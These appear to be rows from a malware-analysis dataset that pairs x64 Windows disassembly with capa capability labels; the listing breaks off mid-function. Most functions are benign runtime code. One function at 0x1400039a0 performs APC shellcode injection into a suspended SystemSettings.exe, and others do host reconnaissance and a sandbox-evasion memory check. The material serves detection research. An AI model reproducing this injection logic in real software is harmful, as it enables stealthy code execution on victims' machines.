joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140116d3c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140116d76
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140116d7b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140116dc4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140126320]
cmp byte [rcx + rax], 0
je 0x140116dc4
dec r8
sub rdx, 1
jne 0x140116daa
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1401185a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1401185ea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401185ea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401185ea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401185ea
cmp dword [rcx + 0x84], 0xe
jbe 0x1401185ea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1401185ec
xor al, al
add rsp, 0x28
ret
Function at 0x1800874fc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18008752c
xor eax, eax
jmp 0x1800875ef
mov rbp, rbx
cmp word [rax], si
je 0x180087551
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180087538
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180087534
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18008741c
movsxd r14, eax
test eax, eax
jne 0x18008758f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180087525
mov rcx, r14
call fcn.180081b48
mov rdi, rax
test rax, rax
jne 0x1800875a8
xor ecx, ecx
call fcn.180081b0c
jmp 0x180087584
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18008741c
test eax, eax
jne 0x1800875d9
mov rcx, rdi
call fcn.180081b0c
jmp 0x1800875e3
xor ecx, ecx
call fcn.180081b0c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180089970
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.18006eb20
sub rsp, rax
mov rax, qword [0x1800a8380]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.180085958
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1800899bf
mov rax, rbp
jmp 0x180089ac7
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0xaa480]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.18008aa90
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0xaa480]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x180089ac3
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180089ac3
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.18008aa90
test rax, rax
js 0x180089ac3
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x180089ac3
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180089ab5
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180089ab5
cmp byte [rcx], 0xd
jne 0x180089a9b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x180089aaa
cmp byte [rcx + 1], 0xa
jne 0x180089aaa
inc rcx
jmp 0x180089aaa
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0xa8ce0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180089a7d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x180089ac7
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.18006eb80
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x180089ce8
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x180089cfe
mov al, 1
jmp 0x180089d5e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x180089d0f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180089d5c
mov ecx, dword [rcx + 0x18]
nop
call fcn.1800908a8
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180089d5c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180089d5c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180089d5c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x180089d5e
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x180089e30
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1800aa480]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x180089e87
cmp word [rdx], r13w
jne 0x180089e87
or byte [rax + rdi*8 + 0x38], cl
jmp 0x180089e8c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180089fb1
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x180089fd2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x180089ec5
mov rdx, r9
mov word [rbx], cx
jmp 0x180089eec
cmp r9, r8
jae 0x180089efc
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x180089ea6
jmp 0x180089fb1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180089fa6
cmp dword [rsp + 0x80], esi
je 0x180089fa6
lea r8, [0x1800aa480]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x180089f7e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x180089f4e
mov word [rbx], r13w
jmp 0x180089fae
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x180089f5b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x180089fae
cmp word [rsp + 0x70], r13w
jne 0x180089f8b
cmp rbx, r14
je 0x180089f48
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.18008aa98
cmp word [rsp + 0x70], r13w
je 0x180089fb1
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1800aa480]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x180089fab
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180089fb1
Function at 0x18008ea88
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.180081fec
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x18008eb29
cmp ebx, dword [rsp + 0x30]
je 0x18008eb22
test esi, esi
je 0x18008eb22
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x18008eafd
sub r8w, 0x61
cmp r8w, 0x19
ja 0x18008eb0a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x18008eae7
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x18008eb0e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x18008eb2b
mov eax, 1
jmp 0x18008eb2b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140002000
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007da0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007da0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002070
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e0a4]
mov rbx, rcx
test esi, esi
jle 0x1400021a0
mov rax, qword [0x14000e0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400020bb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002145
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400020a0
mov rcx, rbx
call fcn.140002ac0
mov rdi, rax
test rax, rax
je 0x1400021c2
mov rax, qword [0x14000e0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002c00
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400021a7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000213e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002150
add dword [0x14000e0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000213e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002000
nop dword [rax]
xor esi, esi
jmp 0x1400020c8
mov rax, qword [0x14000e0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002000
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002000
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002730
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e0e0]
test rbx, rbx
je 0x14000278c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002783
test rsi, rsi
je 0x140002783
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002768
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002ac0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000abc0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002ae0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002ae8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002ae0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002b3d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002b34
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002ae0
add rax, 0x28
cmp rax, r9
jne 0x140002b20
xor eax, eax
ret

Function at 0x140002b40
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000abc0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002b5f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002b68
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002b5f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002c00
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000abc0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002c1f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002c28
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400039a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x150
call fcn.14001ab80
cmp dword [rax], 1
je 0x1400039d9
lea rcx, str.This_program_does_not_accept_any_arguments._n
call fcn.14000f280
xor eax, eax
jmp 0x140003bda
call fcn.140003ff0
call fcn.1400041f0
call fcn.140003e80
mov dword [rsp + 0x70], eax
call fcn.140003f30
call fcn.140003e60
call fcn.140003e10
mov dword [rsp + 0x74], 4
mov dword [rsp + 0x78], 0x1000
mov dword [rsp + 0x7c], 0x40
lea rax, [rsp + 0xe0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0xc0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsImmersiveControlPanelSystemSettings.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x60], rax
lea rdx, [0x14004e3e8]
lea rcx, [rsp + 0xa8]
call fcn.140003bf0
lea rcx, [rsp + 0xa8]
call fcn.14000ed50
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0xa8]
call fcn.14000ed50
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0xa8]
call fcn.14000c410
lea rcx, [rsp + 0xd8]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x80]
mov r9, rcx
mov r8, rax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x98], rax
lea rax, str.QueueUserAPC
mov qword [rsp + 0x88], rax
lea rcx, [0x14003b2a0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [rsp + 0x88]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xa0], rax
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x98]
call qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x50], 0
lea rcx, [rsp + 0xa8]
call fcn.140009200
mov eax, dword [rsp + 0x50]
add rsp, 0x150
pop rdi
ret

Function at 0x140003e10
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140003e55
xor ecx, ecx
call fcn.14001ab4c
add rsp, 0x48
ret
Function at 0x140003ff0
Capabilities:
Create thread
Get common file path
Get hostname

Disassembly:
sub rsp, 0xaa8
mov rax, qword [0x14004d040]
xor rax, rsp
mov qword [rsp + 0xa90], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140003fc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140004094
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.UniqueAutoClosingMessageBoxTitle
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140004079
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.USER32.dll_SendMessageA]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x30], eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x34], eax
lea rdx, str.Screen_Width:
lea rcx, [0x14004e620]
call fcn.140004750
mov edx, dword [rsp + 0x30]
mov rcx, rax
call fcn.140009630
lea rdx, str.__Screen_Height:
mov rcx, rax
call fcn.140004750
mov edx, dword [rsp + 0x34]
mov rcx, rax
call fcn.140009630
lea rdx, [0x140007560]
mov rcx, rax
call fcn.140009850
mov edx, 0x400
lea rcx, [rsp + 0x290]
call qword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
lea rdx, str.Console_Window_Title:
lea rcx, [0x14004e750]
call fcn.140004aa0
lea rdx, [rsp + 0x290]
mov rcx, rax
call fcn.140004aa0
lea rdx, [0x1400075b0]
mov rcx, rax
call fcn.140009850
mov edx, 0x104
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, str.System_Directory:
lea rcx, [0x14004e750]
call fcn.140004aa0
lea rdx, [rsp + 0x80]
mov rcx, rax
call fcn.140004aa0
lea rdx, [0x1400075b0]
mov rcx, rax
call fcn.140009850
mov dword [rsp + 0x38], 0x10
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rdx, str.Computer_Name:
lea rcx, [0x14004e750]
call fcn.140004aa0
lea rdx, [rsp + 0x58]
mov rcx, rax
call fcn.140004aa0
lea rdx, [0x1400075b0]
mov rcx, rax
call fcn.140009850
mov rcx, qword [rsp + 0xa90]
xor rcx, rsp
call fcn.140013cb0
add rsp, 0xaa8
ret
Function at 0x1400118d8
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x140011906
xor eax, eax
jmp 0x1400119ec
cmp qword [rcx + 0x68], 0
je 0x140011917
call fcn.140011a08
jmp 0x1400119ec
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14001192e
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140011930
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140011962
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140034e10
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x1400119e6
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140011999
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x1400119c2
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14001fda0
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x1400119e6
cmp rsi, rbx
ja 0x1400119a0
test rsi, rsi
je 0x1400119e6
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14001fda0
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x1400142dc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140014326
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140014326
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140014326
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140014326
cmp dword [rcx + 0x84], 0xe
jbe 0x140014326
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140014328
xor al, al
add rsp, 0x28
ret
Function at 0x14001ab4c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001a9ab
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001a9ab
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001a9ab
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001a9ab
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001a9ab
cmp dword [rcx + 0x84], 0xe
jbe 0x14001a9ab
cmp dword [rcx + 0xf8], 0
je 0x14001a9ab
mov ecx, ebx
call fcn.14001aa68
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001a838
nop
cmp dword [rbp + 0x20], 0
je 0x14001a9f9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001aa04
int3
xor r8d, r8d
xor edx, edx
jmp 0x14001a93c
Function at 0x14002a7a0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x14002a7d2
call fcn.14001f1c8
mov dword [rax], 0x16
call fcn.14001a610
jmp 0x14002a8f1
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14002a8f1
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14002a8f1
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x14002a801
lock or dword [rcx + 0x14], 0x10
jmp 0x14002a8f1
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14002a815
call fcn.14002bfcc
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.1400281e0
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.14002b748
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x14002a8df
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x14002a8aa
mov rcx, rsi
call fcn.1400281e0
cmp eax, edi
je 0x14002a895
mov rcx, rsi
call fcn.1400281e0
cmp eax, 0xfffffffe
je 0x14002a895
mov rcx, rsi
call fcn.1400281e0
movsxd rbx, eax
